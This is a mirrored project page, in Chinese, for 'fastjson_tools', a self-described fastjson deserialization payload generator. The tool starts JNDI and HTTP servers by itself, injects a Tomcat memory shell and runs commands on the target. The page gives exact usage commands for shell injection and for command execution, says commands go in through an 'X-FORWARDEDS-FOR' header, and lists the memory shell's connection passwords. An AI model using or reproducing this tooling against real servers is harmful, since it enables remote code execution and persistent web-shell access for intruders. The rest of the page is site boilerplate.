Git Product home page Git Product logo

fastjson_tools's Introduction

无题

介绍

一个垃圾的fastjson反序列化payload生成工具,自动启动http服务,自动启动jndi服务,可以注入内存马,可以执行命令。秉持着多造轮子的终极原则,多写两行代码练练手也是很好的,但人反正是个菜鸡,所以工具写的也很菜鸡。

ps

忘记说了,里面用到了java的动态编译,然后这个玩意要用jre下面的java.exe来运行,不然会显示环境缺失。

工具使用

在工具的README里想偷懒就没写使用方法了,在这里写一下吧。

  1. 使用jre运行程序 image-20211210165454871

工具会自动创建http服务和jndi服务。-m参数表示直接注入tomcat内存马,-h参数是服务器地址,-p参数表示服务一直挂起。

&"D:\Program Files\Java\jdk1.8.0_301\jre\bin\java.exe" -jar .\fastjson_tools-1.0-SNAPSHOT-jar-with-dependencies.jar -h 127.0.0.1 -m shell -p 1   #注入内存马的Exp

&"D:\Program Files\Java\jdk1.8.0_301\jre\bin\java.exe" -jar .\fastjson_tools-1.0-SNAPSHOT-jar-with-dependencies.jar -h 127.0.0.1 -e   whoami -p 1  #执行命令的Exp
  1. 将生成的jndi地址换成你的payload,然后触发一下 image-20211210165626751

  2. 攻击成功会返回http服务收到请求,然后可以访问一下内存马。 image-20211210165642432 image-20211210165649092

内存马的使用可以看另外一个项目addMemShellsJSP

  1. 执行命令的利用方式 image-20211210165658329
&"D:\Program Files\Java\jdk1.8.0_301\jre\bin\java.exe" -jar .\fastjson_tools-1.0-SNAPSHOT-jar-with-dependencies.jar -h 127.0.0.1 -e whoami -p 1

X-FORWARDEDS-FOR: whoami


内存马的连接密码:ifconflag  和 p@ssW0rd@123

image-20211210165709758

fastjson_tools's People

Contributors

ghost2097221 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.